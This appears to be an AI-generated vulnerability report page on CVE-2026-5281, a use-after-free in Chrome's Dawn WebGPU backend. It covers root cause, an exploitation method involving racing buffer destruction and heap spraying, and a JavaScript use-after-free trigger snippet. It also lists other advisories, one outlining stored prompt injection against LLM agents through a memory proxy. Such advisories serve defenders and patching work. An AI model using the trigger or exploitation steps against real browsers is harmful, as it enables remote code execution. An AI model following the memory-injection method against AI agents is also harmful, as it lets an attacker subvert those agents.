CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-5281

CVE-2026-5281: High-Severity Use-After-Free in Dawn WebGPU Implementation

Alon Barad
Alon Barad
Software Engineer

Apr 2, 2026·6 min read·308 visits

Executive Summary (TL;DR)

A Use-After-Free in Google Chrome's Dawn WebGPU component allows remote attackers to execute arbitrary code. The vulnerability involves a race condition in command buffer queue management and requires immediate patching to version 146.0.7680.178.

CVE-2026-5281 is a critical Use-After-Free (UAF) vulnerability located in the Dawn WebGPU backend of Chromium-based browsers. It allows remote attackers to execute arbitrary code via a crafted HTML page leveraging a race condition in the internal GPU task queue. The flaw is actively exploited in the wild.

Vulnerability Overview

Google Chrome versions prior to 146.0.7680.178 contain a high-severity Use-After-Free (UAF) vulnerability within the Dawn WebGPU implementation. Dawn serves as the open-source WebGPU backend for Chromium, translating modern GPU capabilities into underlying platform APIs such as D3D12, Metal, and Vulkan. The vulnerability, tracked as CVE-2026-5281, resides within the command buffer handling logic of the GPU task queue.

The flaw emerges when CommandBuffers are submitted for execution and subsequently destroyed in rapid succession. The system fails to maintain proper synchronization between the lifecycle of the buffer objects and the internal GPU task queue processing state. This lack of synchronization allows dangling pointers referencing the destroyed objects to persist within the queue.

An attacker can leverage these dangling pointers to execute arbitrary code within the context of the renderer process. Exploitation requires user interaction, specifically drawing the victim to a malicious HTML page hosting the WebGPU payload. The vulnerability has been observed under active exploitation in the wild, prompting its inclusion in the CISA Known Exploited Vulnerabilities catalog.

Root Cause Analysis

The core issue in CVE-2026-5281 is a race condition in the Dawn WebGPU backend's queue management system. Dawn maintains a sequential queue to organize command buffers submitted by the JavaScript execution environment before they are dispatched to the underlying hardware API. These command buffers encapsulate rendering and compute operations scheduled for GPU processing.

When a script submits operations to gpuDevice.queue, the backend allocates memory regions to track the asynchronous execution state of these tasks. The vulnerability manifests when the script invokes the .destroy() method on the associated buffer objects immediately after submission. The destruction routine deallocates the backing memory without synchronously halting or dequeuing the pending operations referencing that memory.

As the asynchronous task queue continues processing, it eventually reaches the submitted tasks that now contain invalid memory references. The backend attempts to read or execute data from the memory addresses previously assigned to the destroyed buffer objects. This state constitutes a classic Use-After-Free condition, enabling arbitrary memory access if the attacker has successfully reallocated the freed space.

Exploitation Methodology

The exploitation methodology relies on a precise sequence of WebGPU API calls to trigger the Use-After-Free and subsequently hijack the execution flow. The attacker initiates the chain by establishing a WebGPU context through a standard HTMLCanvasElement within a controlled web page. Upon acquiring the context, the exploit allocates a large volume of GPU buffers and constructs multiple compute pipelines.

The attacker then submits these command buffers to the GPU device queue in rapid succession, immediately followed by explicit calls to .destroy() on the buffer objects. This rapid allocation and destruction sequence maximizes the probability of winning the race condition against the internal GPU processing thread. The destruction frees the memory regions while the references remain active in the task queue.

To achieve code execution, the attacker performs heap spraying by reallocating buffers of identical sizes to reclaim the recently freed memory segments. These newly allocated blocks contain a malicious payload, typically constructed as shellcode or corrupted object headers. When the GPU queue processes the original dangling pointers, it operates on the attacker-controlled data.

// CVE-2026-5281 Aggressive UAF Trigger Snippet
async function triggerAggressiveUAF() {
    while (!crashDetected) {
        const tempBuffers = [];
        for (let i = 0; i < 200; i++) {
            const size = (64 + Math.floor(Math.random() * 16384)) * 4;
            tempBuffers.push(gpuDevice.createBuffer({
                size: size,
                usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_DST
            }));
        }
 
        const commands = [];
        for (let p = 0; p < tempBuffers.length / 2; p++) {
            const cmdEncoder = gpuDevice.createCommandEncoder();
            const computePass = cmdEncoder.beginComputePass();
            computePass.end();
            commands.push(cmdEncoder.finish());
        }
 
        gpuDevice.queue.submit(commands);
 
        for (let i = 0; i < tempBuffers.length; i++) {
            tempBuffers[i].destroy();
        }
        
        const reuseBuffer = gpuDevice.createBuffer({
            size: 4096,
            usage: GPUBufferUsage.STORAGE
        });
    }
}

Impact Assessment

The immediate impact of a successful CVE-2026-5281 exploit is unauthenticated remote code execution within the Chromium renderer process. The renderer process operates under a restricted sandbox environment, limiting the attacker's direct access to the underlying operating system. However, gaining arbitrary code execution in this context provides a necessary foothold for subsequent privilege escalation attacks.

To fully compromise a target system, an attacker must chain this vulnerability with a separate sandbox escape flaw. The initial execution context allows the attacker to read memory within the renderer process, potentially exposing sensitive data originating from the rendered web content. The CVSSv3.1 base score of 8.8 reflects the high severity of the vulnerability, driven by the network attack vector and the high impact on confidentiality, integrity, and availability.

The vulnerability affects multiple platforms due to Dawn's role as a translation layer for various graphics APIs. Vulnerable implementations include Windows using Direct3D 12, macOS using Metal, Linux using Vulkan, and ChromeOS using Mali drivers. This cross-platform applicability broadens the attack surface, requiring comprehensive patch deployment across all supported operating systems.

Remediation and Mitigation

The primary remediation for CVE-2026-5281 is updating all Chromium-based browsers to the patched versions. Google released Chrome version 146.0.7680.178 to address the vulnerability across Windows, macOS, and Linux platforms. Organizations utilizing Microsoft Edge, Opera, or other Chromium derivatives must apply corresponding updates provided by their respective vendors.

In enterprise environments, security teams should implement detection mechanisms to identify potential exploitation attempts. Monitoring browser error logs for unexpected GPU process crashes or "Device Lost" API errors provides a strong indicator of the race condition being triggered. While these errors occur during benign development, elevated frequencies correlate with exploit activity.

Administrators can utilize the cve_2026_5281_scanner.py research tool to audit local systems and fleet inventories for vulnerable browser installations. The scanner analyzes the BLBeacon registry key on Windows systems and extracts binary version information on Unix-like platforms. Disabling WebGPU via organizational group policies serves as a viable temporary mitigation if immediate patching is not feasible.

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected Systems

Google ChromeMicrosoft EdgeOperaChromium Embedded Framework (CEF)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Google Chrome
Google
< 146.0.7680.178146.0.7680.178
Microsoft Edge
Microsoft
< 146.0.7680.178146.0.7680.178
Opera
Opera
< 146.0.7680.178146.0.7680.178
AttributeDetail
CVE IDCVE-2026-5281
CVSSv3.1 Score8.8 (High)
CWE IdentifierCWE-416
Attack VectorNetwork
ImpactRemote Code Execution (Renderer Process)
Exploit StatusActively Exploited (In the Wild)
CISA KEV StatusListed (Added 2026-04-01)

MITRE ATT&CK Mapping

T1203Exploitation for Client Execution
Execution
T1068Exploitation for Privilege Escalation
Privilege Escalation
CWE-416
Use After Free

Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.

Known Exploits & Detection

GitHubResearcher toolkit containing a vulnerability scanner and exploit generator for CVE-2026-5281.

Vulnerability Timeline

Vulnerability reported to Google by an anonymous researcher (Issue 491518608)
2026-03-24
Google releases Chrome 146.0.7680.178 as an emergency update
2026-03-31
CISA adds CVE-2026-5281 to the KEV catalog due to evidence of active exploitation
2026-04-01
Research toolkit and PoC published on GitHub by security researchers
2026-04-02

References & Sources

  • [1]Chrome Release Blog: Stable Channel Update for Desktop (2026-03-31)
  • [2]CISA KEV Catalog
  • [3]NVD Detail
  • [4]Chromium Issue Tracker: Issue 491518608
  • [5]Researcher Toolkit

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•CVE-2026-58254
6.5

CVE-2026-58254: Authorization Bypass in NATS Server Message Tracing for Leaf Node Connections

NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.

Alon Barad
Alon Barad
6 views•10 min read
•1 day ago•CVE-2026-63341
7.5

CVE-2026-63341: Unauthenticated Denial of Service via Unbounded Topic Depth in Aedes MQTT Broker

CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.

Alon Barad
Alon Barad
11 views•12 min read
•1 day ago•CVE-2026-61725
6.1

CVE-2026-61725: Path Traversal and Arbitrary File Overwrite in sevenz-rust2

CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.

Alon Barad
Alon Barad
6 views•12 min read
•1 day ago•CVE-2026-77309
8.8

CVE-2026-77309: Unauthenticated Remote Code Execution in NASA-AMMOS AIT-GUI via Incomplete File Cleanup and Path Traversal

CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.

Amit Schendel
Amit Schendel
13 views•10 min read
•1 day ago•CVE-2026-77332
2.3

CVE-2026-77332: Surfaced-Memory Envelope Injection and Stored Prompt Injection in memtomem-stm

A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.

Alon Barad
Alon Barad
14 views•10 min read
•1 day ago•CVE-2026-77331
2.0

CVE-2026-77331: Race Condition and Session State Corruption in memtomem-stm

CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.

Amit Schendel
Amit Schendel
6 views•9 min read